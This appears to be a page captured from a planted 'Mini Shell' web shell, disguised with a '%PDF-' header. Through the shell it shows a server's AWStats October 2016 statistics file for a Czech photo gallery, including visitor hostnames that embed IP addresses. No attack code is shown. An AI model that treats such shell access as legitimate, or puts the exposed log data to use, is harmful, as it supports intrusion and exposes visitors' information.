%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/log/awstats/
Upload File :
Create Path :
Current File : //var/log/awstats/awstats102016.fotogalerie.varak.net.txt

AWSTATS DATA FILE 7.5 (build 20160127)
# If you remove this file, all statistics for date 201610 will be lost/reset.
# Last config file used to build this data file was /home/waritko/awstats/conf/awstats.fotogalerie.varak.net.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 30
POS_GENERAL 2084                
POS_TIME 2767                
POS_VISITOR 7841                
POS_DAY 9185                
POS_DOMAIN 3624                
POS_LOGIN 3881                
POS_ROBOT 4036                
POS_WORMS 4430                
POS_EMAILSENDER 4561                
POS_EMAILRECEIVER 4704                
POS_SESSION 9670                
POS_SIDER 9861                
POS_FILETYPES 4839                
POS_DOWNLOADS 5034                
POS_OS 5082                
POS_BROWSER 5232                
POS_SCREENSIZE 5473                
POS_UNKNOWNREFERER 5547                
POS_UNKNOWNREFERERBROWSER 5663                
POS_ORIGIN 5774                
POS_SEREFERRALS 5913                
POS_PAGEREFS 6081                
POS_SEARCHWORDS 6278                
POS_KEYWORDS 6430                
POS_MISC 2430                
POS_ERRORS 6489                
POS_CLUSTER 3737                
POS_SIDER_404 6626                
POS_EXTRA_1 7136                
POS_EXTRA_2 7477                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20161101020426 174 52934 25092360707117
FirstTime 20161001002715
LastTime 20161031063909
LastUpdate 20161101043015 174 0 173 0 0
TotalVisits 41                  
TotalUnique 16                  
MonthHostsKnown 17                  
MonthHostsUnknown 1                   
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
AddToFavourites 0 20 0
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 17 69 664271 268 285 10736108
1 8 41 692005 233 254 16246383
2 0 0 0 251 267 13771336
3 0 0 0 203 222 13153096
4 0 0 0 219 232 7067222
5 0 0 0 188 201 13793287
6 2 2 30746 199 216 11652352
7 8 8 27592 193 211 17880532
8 1 1 3816 153 167 9875306
9 12 44 684670 189 212 14413856
10 39 168 4121097 260 281 18564949
11 16 102 3493135 278 295 8661608
12 2 2 6923 290 311 9201127
13 19 63 2455749 268 283 6597302
14 0 0 0 242 265 24683953
15 35 107 3371440 244 262 14603650
16 266 669 13988195 289 317 12534294
17 36 90 1786122 353 377 13010881
18 0 0 0 244 258 12107800
19 14 51 1024071 246 262 12801921
20 78 209 7505943 232 250 18739405
21 1 1 3780 245 257 9042675
22 26 89 3490811 311 328 9648002
23 9 40 1312111 250 269 18032799
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 10 first Pages must be first (order not required for others)
BEGIN_DOMAIN 2
cz 426 1254 30546315
unknown 163 502 14116162
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 10 first Hits must be first (order not required for others)
BEGIN_ROBOT 7
googlebot 5036 18399071 20161031235536 14
googlebot\-image 361 296769227 20161031101224 0
slurp 50 162789 20161031142953 11
baiduspider 44 597838 20161031233442 1
unknown 9 6142 20161031063908 9
bingbot 5 94180 20161009180437 2
netcraft 3 37711 20161019004656 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 7
css 4 36094 0 0
php 22 104589 0 0
png 202 654096 0 0
jpg 917 39409624 0 0
js 6 221151 0 0
Unknown 567 4211557 0 0
gif 38 25366 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 6
linuxandroid 120 12
winxp 14 12
win10 215 86
win8.1 167 58
Unknown 2 2
win7 1238 419
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 9
chrome54.0.2840.71 196 92
chrome50.0.2661.89 27 3
msie11.0 103 20
chrome53.0.2785.143 419 155
android 93 9
chrome53.0.2785.116 552 223
firefox49.0 294 73
chrome54.0.2840.59 70 12
Unknown 2 2
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 1
peopleman/1.6 20161031063909
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 1
peopleman/1.6 20161031063909
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 34 38
From1 0 0
From2 15 17
From3 9 9
From4 531 1692
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 2
google 0 2
seznam 15 15
END_SEREFERRALS

# External page referers - Pages - Hits
# The 10 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 1
https://www.knihkupectvi-monami.cz/index.php 9 9
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
302 686 607442
499 4 0
500 13 25818
404 32 86406
301 14 5320
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 17
/mobile/Z-ti/IMG_5912 2 -
/Ban-t/D-SH26 1 -
/Jogi-1/DSC06235 1 -
/Ban-t/D-Rovensko05 1 -
/Z-ti/IMG_6643 9 -
/m/Holandsko/a-Delft-a-siesta 1 -
/mobile/Holandsko/a-Delft-a-siesta 1 -
/photos/860 2 -
/items/dimensions/852 1 -
/Ban-t/D-Rovensko08 1 -
/m/Z-ti/BC5 2 -
/Z-ti/Monami 4 -
/Z-ti/IMG_6694 2 -
/form/add/comments/852 1 -
/Ban-t/IMG_4870 1 -
/photos/852 1 -
/M-sto/IMG_5241m 1 -
END_SIDER_404

# Extra key - Pages - Hits - Bandwidth - Last access
# The 50 first number of hits are first
BEGIN_EXTRA_1 7
ECDHE-RSA-AES128-GCM-SHA256 0 7595 352570938 
ECDHE-RSA-AES128-SHA 0 98 928498 
- 0 14 5320 
AES128-SHA 0 4 2732 
DES-CBC3-SHA 0 4 2732 
ECDHE-RSA-AES128-SHA256 0 109 1488539 
ECDHE-RSA-CHACHA20-POLY1305 0 214 6503467 
END_EXTRA_1

# Extra key - Pages - Hits - Bandwidth - Last access
# The 50 first number of hits are first
BEGIN_EXTRA_2 3
- 0 14 5320 
TLSv1 0 105 921431 
TLSv1.2 0 7919 360575475 
END_EXTRA_2

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 10 first Hits must be first (order not required for others)
BEGIN_VISITOR 18
ip-78-108-150-128.klient.poruba.net 159 444 8327083 20161030150736
162-87-224-109.m-zone.cz 88 222 6777260 20161024130809
dynamic-2a00-1028-96c8-ed86-907c-a176-72fc-d5bb.ipv6.broadband.iol.cz 86 213 6764784 20161002164701
dynamic-194-228-11-114.ipv4.broadband.iol.cz 60 91 2634189 20161024163340
ip-78-108-155-9.klient.poruba.net 53 191 4969301 20161010174358
dynamic-2a00-1028-9198-c4da-05f0-c1e9-712c-9bcc.ipv6.broadband.iol.cz 40 104 2922328 20161003215208
148.44.broadband9.iol.cz 30 102 3372592 20161003105557
p2003007e4f19e701f45f0e67d57e620e.dip0.t-ipconnect.de 19 103 1329766 20161001011034
dynamic-194-228-11-143.ipv4.broadband.iol.cz 12 70 3164324 20161021112240
253.186.broadband10.iol.cz 12 14 118019 20161001235219
75.53.199.104.bc.googleusercontent.com 2 2 30746 20161031063909
dynamic-2a00-1028-919c-29d2-d1ef-d494-34ed-7e92.ipv6.broadband.iol.cz 0 1 890836 
p2003007e4f19e701f55d7ca78d6d7c37.dip0.t-ipconnect.de 6 36 515965 20161002101506
dynamic-2a00-1028-96c7-2946-14d1-5a2b-1e00-2c32.ipv6.broadband.iol.cz 0 1 984340 
ip-37-188-128-181.eurotel.cz 7 64 658428 20161005112915
193.165.24.1 3 27 295782 20161016224615
p2003007e4f19e701dc1ac976c3eeb150.dip0.t-ipconnect.de 10 42 677397 20161001093554
ip-37-188-188-228.eurotel.cz 2 29 229337 20161002101340
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 18
20161001 50 168 2157067 9
20161002 118 347 9291826 7
20161003 122 324 11680163 6
20161004 6 35 340541 2
20161005 4 32 328231 2
20161006 1 1 3422 1
20161007 65 124 3652455 2
20161009 5 36 672858 1
20161010 85 323 2687943 3
20161012 4 6 27739 1
20161016 3 27 295782 1
20161018 1 1 3816 1
20161021 12 70 3164324 1
20161024 79 154 5089938 2
20161027 0 1 984340 0
20161028 0 1 890836 0
20161030 32 104 3360450 1
20161031 2 2 30746 1
END_DAY

# Session range - Number of visits
BEGIN_SESSION 5
5mn-15mn 5
2mn-5mn 7
0s-30s 16
30s-2mn 10
15mn-30mn 3
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 10 first Pages must be first (order not required for others)
BEGIN_SIDER 82
/Z-ti 109 444796 25 20
/combined/javascript/80bb4fd640630ed67dd0b4d69832b66b 22 1192279 0 2
/combined/css/808573932c70a2bf2eff6418fb96839b 22 225387 0 0
/ 21 81214 15 4
/Z-ti/IMG_6676 19 67521 0 3
/Z-ti/IMG_6695m 17 60151 0 0
/Z-ti/IMG_6696m 16 56712 0 0
/Z-ti/IMG_6649m 16 56630 0 0
/Z-ti/IMG_6726 15 53238 0 0
/Z-ti/IMG_6702 15 53205 0 0
/Dosebe/DSC06746-2 2 6918 0 0
/Z-ti/IMG_6643 10 35799 0 0
/organize/frame/835 1 6679 0 0
/Holandsko/a-Honza-dokumentujici 1 3520 0 0
/lib/uploadify/uploadify.swf.php 1 23375 0 0
/Dosebe/DSC03617_1 1 3462 0 0
/Z-ti/pidikino 11 39208 0 0
/Setk-n 1 3118 0 0
/Dosebe/K8 1 3452 0 0
/Z-ti/IMG_6685 11 39287 0 0
/Holandsko/a-ALKMAAR-pro-divaky 1 3537 0 0
/Holandsko/a-ALKMAAR-predstaveni-zacina 1 3555 0 0
/quick/delete/860 1 554 0 0
/Setk-n/DSC03911 1 3482 0 0
/quick/delete/843 1 554 0 0
/quick/form_delete/860 1 902 0 0
/organize/dialog/835 1 917 0 0
/Z-ti/IMG_6690m 11 39346 0 0
/Dosebe/M3 2 6912 0 0
/Z-ti/IMG_6651 14 49730 0 0
/Holandsko/a-Amsterdam-a-louceni 1 3532 0 0
/Holandsko/a-Delft-a-siesta 1 3482 0 0
/Holandsko/a-mlyny-cekajici 1 3527 0 0
/Dosebe/K_DSC04485_1 1 3470 0 0
/Z-ti/IMG_4346 4 14885 0 0
/Dosebe 2 6406 0 0
/Z-ti/IMG_6640 11 39267 0 1
/Z-ti/IMG_6126 10 35866 0 0
/quick/form_delete/843 1 897 0 0
/organize/rearrange 3 1584 0 0
/Z-ti/IMG_6714 12 42800 0 1
/Holandsko/a-more-skryte 1 3499 0 0
/Setk-n/DSC03905 1 3479 0 0
/Z-ti/DSC03307 3 11417 0 0
/Z-ti/BC5 5 18357 0 0
/Holandsko/a-more-vzdalene 1 3503 0 0
/uploader/status/1/0 1 540 0 0
/uploader/status/2/0 1 541 0 0
/combined/javascript/1e32bbf0aa3f19c0a74cbcb3b8dfffa5 13 988463 0 3
/Holandsko/a-Gouda1 1 3468 0 0
/organize/album_info/835 4 5177 0 0
/Setk-n/DSC03872 1 3478 0 0
/uploader/status/3/0 1 542 0 0
/Dosebe/divka 2 6952 0 1
/login/ajax 1 1455 0 0
/uploader/finish 1 545 0 0
/Z-ti/m06 10 34675 0 0
/organize/tree/835 1 821 0 0
/Z-ti/IMG_5912 10 35801 0 0
/Z-ti/IMG_6694 10 34863 0 0
/Z-ti/IMG_6678 11 39236 0 0
/Holandsko/a-more-omyvajici 1 3529 0 0
/Holandsko 2 7919 1 0
/Z-ti/IMG_6035m 11 38343 0 0
/Holandsko/a-Gouda2 1 3478 0 0
/Z-ti/IMG_6036m 9 31261 0 0
/Z-ti/IMG_6688m 15 53234 0 0
/quick/form_delete/852 1 902 0 0
/Dosebe/A 1 3459 0 0
/Holandsko/a-Amsterdam-vecerni 1 3520 0 0
/Z-ti/Monami 8 27863 0 1
/quick/delete/852 1 554 0 0
/Z-ti/z3 10 35674 0 0
/uploader/add_photo/835 3 1308 0 0
/Dosebe/M4 2 6928 0 0
/Z-ti/pidikino3 10 35732 0 0
/Setk-n/DSC03807_1 1 3483 0 0
/Z-ti/IMG_6642m 14 51591 0 0
/Z-ti/z2 12 42599 0 5
/uploader/index/835 1 3228 0 0
/Z-ti/IMG_6668 12 43070 0 0
/login/auth_ajax 1 503 0 0
END_SIDER

Zerion Mini Shell 1.0